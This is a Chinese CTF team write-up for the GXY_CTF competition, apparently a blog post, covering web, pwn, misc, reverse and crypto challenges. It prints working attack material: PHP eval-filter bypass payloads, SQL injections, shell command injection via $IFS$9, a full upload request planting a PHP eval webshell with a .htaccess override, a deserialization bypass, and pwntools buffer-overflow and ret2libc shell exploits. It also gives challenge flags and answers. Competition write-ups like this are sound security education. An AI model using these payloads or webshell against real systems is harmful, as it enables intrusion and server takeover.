文章首发于:
周六两场比赛Xman和GXY_CTF,Xman因为是选拔赛,身为二流web人员,自知和pwn爷爷们有差距,就没有太过于上心比赛,做了misc之后,就去做北工大的比赛了,这里主要记录一下,北工大的GXY_CTF,感谢队友们的辛勤付出,PWN师傅一天打两场比赛真的很辛苦,这里把战队的所有解出题目贴出
WEB
禁止套娃
这个题目是最后一波放的题目,不过按照题目顺序是在第一个,访问页面,没有什么特别的tip,fuzz了一下发现存在git泄露
使用githack获取一下源码
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z|\-]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|nt|info|dec|bin|hex|oct|pi|log/i', $code)) {
// echo $_GET['exp'];
eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
分析一下源代码,很经典的考察点,简单来说就是Bypass执行命令,和ByteCTF的无参数执行命令很像,我在博客里也总结过这个点,大概意义上就是让我们绕过题目的黑名单,通过拼接字符串的目的去读取文件,首先看一下flag.php文件的位置
访问页面发现不为空,所以我们只要获取当前页面的flag.php,在使用函数进行读取即可
可以看一下我原来的文章
尝试构造:
payload:
print_r(highlight_file(next(array_reverse(scandir(pos(localeconv()))))));
分析一下,localeconv() 函数返回一包含本地数字及货币格式信息的数组,结合pos能得到.,也就是当前目录,然后再加上scandir就能获取当前目录的所有的文件,得到
然后用array_filp函数反转一下,现在flag就在数组的第二个,再用next执行当前数组的下一跳,就能执行flag,然后用highlight_file读文件
Babysqli
尝试登陆用户,当不是admin用户时提示
wrong user!
即admin用户存在,当用admin用户登陆时,密码输错提示
wrong pass!
但是当username输入admin’时,sql报错
接着中规中矩地进行sql注入,试探出字段数为3,根据题目描述password经过md5哈希加密过
查看报错页面源码时发现加密字符串,解密得到查询逻辑
MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5 //解base32
c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw== //解base64
select * from user where username = '$name'
我们需要在user表里查询我们输入的字段名并进行判断,而我们什么都不知道,这时候就需要骚操作了
在sql数据库里,当联合查询一个不存在的数据时会虚拟一个根据使用表排序的数据,根据这个特性来进行绕过
/search.php
post:
name=0' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#&pw=1
flag:GXY{y0u_4re_not_aDmin!}
ping ping ping
可以用";"或者“|”合执行语句:
127.0.0.1;ls
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
}
else if(preg_match("/ /", $ip)){
die("fxck your space!");
}
else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
}
else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>
分析一下代码,空格等符号我们可以通过 $IFS$9
进行绕过,但是题目对flag做了很严格的过滤,我们无法通过"f\l\a\g"的方式进行绕过,所以我们不能同时输入flag这四个字符,可以使用调用linux环境变量的方法去拼接字符串
通过这种方式我们可以获取到字符“l”,从而构造payload
tac$IFS$9f`echo$IFS$9$PATH|cut$IFS$9-c6`ag.php
在源码中获取到flag
babyupload
黑名单绕过,不允许我们上次.ph的后缀,可以使用.htacess进行解析绕过,上传之后发现文件被删除,通过条件竞争的方式不断上传文件即可
传shell的数据包:
POST /?a=ywww HTTP/1.1
Host: 183.129.189.60:10002
Content-Length: 351
Cache-Control: max-age=0
Origin: http://183.129.189.60:10002
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygQSvae9pe4p1OLEG
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://183.129.189.60:10002/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=eede967c401e04ecdcccbf9e1f443385
Connection: close
------WebKitFormBoundarygQSvae9pe4p1OLEG
Content-Disposition: form-data; name="uploaded"; filename="pdsdt.jpg"
Content-Type: image/jpeg
GIF89a
<script language="php">
eval($_POST['pdsdt'])
</script>
------WebKitFormBoundarygQSvae9pe4p1OLEG
Content-Disposition: form-data; name="submit"
上ä¼
------WebKitFormBoundarygQSvae9pe4p1OLEG--
传解析文件:
POST /?a=ywww HTTP/1.1
Host: 183.129.189.60:10002
Content-Length: 322
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36
Origin: http://183.129.189.60:10002
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7IdKiGY4sAiBIpSd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://183.129.189.60:10002/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=eede967c401e04ecdcccbf9e1f443385
Connection: close
------WebKitFormBoundary7IdKiGY4sAiBIpSd
Content-Disposition: form-data; name="uploaded"; filename=".htaccess"
Content-Type: image/jpeg
AddType application/x-httpd-php .jpg
------WebKitFormBoundary7IdKiGY4sAiBIpSd
Content-Disposition: form-data; name="submit"
上ä¼
------WebKitFormBoundary7IdKiGY4sAiBIpSd--
访问我们的文件,执行命令即可获取到flag
Do you know robot?
robots.txt里有index.php~源码
<?php
class FileReader{
public $Filename;
public $start;
public $max_length;
function __construct(){
$this->Filename = __DIR__ . "/bcm.txt";
$this->start = 12;
$this->max_length = 72;
}
function __wakeup(){
$this->Filename = __DIR__ . "/fake_f1ag.php";
$this->start = 10;
$this->max_length = 0;
echo "<script>alert(1)</script>";
}
function __destruct(){
$data = file_get_contents($this->Filename, 0, NULL, $this->start, $this->max_length);
if(preg_match("/\{|\}/", $data)){
die("you can't read flag!");
}
else{
echo $data;
}
}
}
if(isset($_GET['exp'])){
if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['exp'])){
die("hack!");
}
$exp = $_REQUEST['exp'];
$e = unserialize($exp);
echo $e->Filename;
}
else{
$exp = new FileReader();
}
?>
分析一下代码
发现有几个文件 fake_f1ag.php bcm.txt,访问flag.php,发现存在。exp对flag做了过滤
反序列化,要绕过魔术方法
__wakeup()
我们可以通过反序列化中的__destruct魔术方法中的file_get_contents去读flag.php,但是wakeup对filename做了限制,这里可以用序列化属性个数不同来绕过wakeup的方法,先创建一个类的实例
$pdsdt=new FileReader();
因为可以看到源码中对读取到的结果{}进行了过滤,而flag肯定又{}包裹,所以我们用php伪协议来base64加密flag
Filename='php://filter/convert.base64-encode/resource=flag.php'
得到序列化的字符串
O:10:"FileReader":3:{s:8:"Filename";s:52:"php://filter/convert.base64-encode/resource=flag.php";s:5:"start";i:12;s:10:"max_length";i:72;}
然后改属性为4绕过wakeup
来到最后一个过滤也就是对flag进行过滤,因为这里观察到他只对get方式传参的进行过滤,而下面又被重新赋值了一次,所以我们在get中可以传个值,然后再post下传序列化的值
babysqliv2.0
账号admin ,密码任意都会弹出一个没用的网页,先不管
尝试宽字节注入admin%df’ 会弹出错误,然后尝试构造payload:
ttp://183.129.189.60:10006/search.php?name=admin%df%27 and updatexml(1,concat_ws('~',database()),1)&pw=pwd7
显示报错
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'~\',database()),1)'' at line 1
然后在单引号这边也加上%df
payload:
http://183.129.189.60:10006/search.php?name=%df'
and(seselectlect 1 from(sselectelect count(*),concat((sselectelect (sselectelect (SESELECTLECT concat(327a6c4304ad5938eaf0efb6cc3e53dc) FROM f14g limit 22,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+&pw=123
得到的值base64解密即可
PWN
fantasy
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
#elf = ELF('warmup_csaw_2016')
sh = 0
lib = 0
def pwn(ip,port,debug):
global sh
global lib
if(debug == 1):
p = process('./fantasy')
else:
p = remote(ip,port)
payload='A'*56+p64(0x400735)
p.sendlineafter('input your message\n',payload)
p.interactive()
if __name__ == '__main__':
pwn('183.129.189.60',10025,0)
My cannary
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('my_cannary')
__libc_start_main=elf.got['__libc_start_main']
system_plt=elf.plt['system']
puts_plt=elf.plt['puts']
def pwn(ip,port,debug):
global sh
global lib
if(debug == 1):
p = process('./my_cannary')
else:
p = remote(ip,port)
pop_rdi_ret=0x0400a43
main_addr=0x400998
payload='A'*0x30+p64(0x6010C1)+p64(0)+p64(0)+p64(pop_rdi_ret)+p64(__libc_start_main)+p64(puts_plt)+p64(main_addr)
#gdb.attach(p)
p.sendlineafter("Now let's begin\n",payload)
__libc_start_addr=u64(p.recv(6).ljust(8,'\x00'))
libc=LibcSearcher('__libc_start_main',__libc_start_addr)
libcbase_addr=__libc_start_addr-libc.dump('__libc_start_main')
binsh_addr=libcbase_addr+libc.dump('str_bin_sh')
print "libcbase_addr=>",hex(libcbase_addr)
payload='A'*0x30+p64(0x6010C1)+p64(0)+p64(0)+p64(pop_rdi_ret)+p64(binsh_addr)+p64(system_plt)#+p64(main_addr)
#gdb.attach(p)
p.sendlineafter("Now let's begin\n",payload)
p.interactive()
if __name__ == '__main__':
pwn('183.129.189.60',10026,0)
blind_note
首先盲测出来偏移地址,然后再用scanf(’-’)绕过scanf的数据读入,通过输入66来获取libcbase和libc,然后onegadget来getshell。
from PwnContext import *
from pwn import *
from LibcSearcher import *
#context.terminal = ['tmux', 'splitw', '-h'] # uncomment this if you use tmux
context.log_level = 'debug'
# functions for quick script
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
ctx.binary = 'blind_note'
ctx.remote_libc = './libc.so'
ctx.remote = ('183.129.189.60',10028)
ctx.debug_remote_libc = False # True for debugging remote libc, false for local.
#p=rs()
p=rs('remote') # uncomment this for exploiting remote target
libc = ctx.libc # ELF object of the corresponding libc.
# ipy() # if you have ipython, you can use this to check variables.
def debug():
libc_base = ctx.bases.libc
print hex(libc_base)
ctx.symbols = {'sym1':0xEDA , 'sym2':0x10AF}
ctx.breakpoints = [0xEDA,0x10AF]
ctx.debug()
def create(size):
sla('>\n',str(1))
sla('please enter your note number\n',size)
def show(index):
sla('>\n',2)
sla('which one ?\n',index)
def free():
sla('>\n',3)
p.sendline("66")
ru('This is my id:')
puts_add=uu64(p.recv(6))
leak("puts_add",puts_add)
libc=LibcSearcher("puts",puts_add)
one=[0x45216,0x4526a,0xf02a4,0xf1147]
libc_base=puts_add-libc.dump("puts")
for i in range(25):
create(str(i))
create('-')
create('-')
create('-')
create('-')
create(str((0x400b4a)))
create(str((libc_base+one[0])))
create('-')
p.sendline('4')
irt()
MISC
佛系青年
zip伪加密,得txt文件,里有佛语加密
佛曰:遮等諳勝能礙皤藐哆娑梵迦侄羅哆迦梵者梵楞蘇涅侄室實真缽朋能。奢怛俱道怯都諳怖梵尼怯一罰心缽謹缽薩苦奢夢怯帝梵遠朋陀諳陀穆諳所呐知涅侄以薩怯想夷奢醯數羅怯諸
解密网址 http://www.keyfc.net/bbs/tools/tudoucode.aspx
flag{w0_fo_ci_Be1}
我永远喜欢gakki!
binwalk扫描图片,得到一张图片和一个压缩包
继续扫描,分离得到一个rar加密的压缩包,里面有flag.txt
需要爆破该rar包
密码为8864
打开flag.txt
f=open("flag.txt",'r')
a=f.read()
d3=dict()
for x in a:
d3[x]=a.count(x)
list1= sorted(d3.items(),key=lambda x:x[1])
print(list1)
f.close()
babync
import base64
from pwn import *
context.log_level="debug"
a="340282366920938463463300000"
b="340282366999999999999999999"
for i in range(0,10):
p = remote("183.129.189.60",10029)
num ="340282366920938463463374606".format(str(i))
p.sendline(num)
print p.recv()
p.close()
最后手撸测试
SXMgdGhpcyBiYXNlPw==
base64隐写,跑脚本
RE
luck_guy
rand随机数,不管直接照着写脚本:
a=[0x7F,0x66,0x6F,0x60,0x67,0x75,0x63,0x69]
a.reverse()
print a
flag=''
for i in range(len(a)):
if i%2==1:
flag+=chr(a[i]-2)
else:
flag+=chr(a[i]-1)
print flag
#GXY{do_not_hate_me}
Simple_cpp
逻辑代数,化简之后计算出box[0],box2,box1公告提示直接给出不需要算了,box3直接异或即可得到。最后分别和iwillcheck…字符串异或得到flag
xorstr1 = 'i_will_c'
xorstr2 = 'heck_is_'
xorstr3 = 'debug_or'
xorstr4 = '_noi_wil'
str1 = [0x3E,0x3A,0x46,0x05,0x33,0x28,0x6F,0x0D]
str3 = [0x08,0x02,0x07,0x17,0x15,0x3E,0x30,0x13]
str4 = [0x32,0x31,0x06]
for i in range(len(str1)):
print(chr(ord(xorstr1[i]) ^ str1[i]), end = "")
print('e!P0or_a', end = "") #提示中第二部分已知
for i in range(len(str3)):
print(chr(ord(xorstr3[i]) ^ str3[i]), end = "")
for i in range(len(str4)):
print(chr(ord(xorstr4[i]) ^ str4[i]), end = "")
CRYPTO
CheckIn
dikqTCpfRjA8fUBIMD5GNDkwMjNARkUwI0BFTg==密码的解密
先用base64进行解码
得到的v)L_F0}@H0F49023@FE0#@EN字符串再用rot47进行二次解密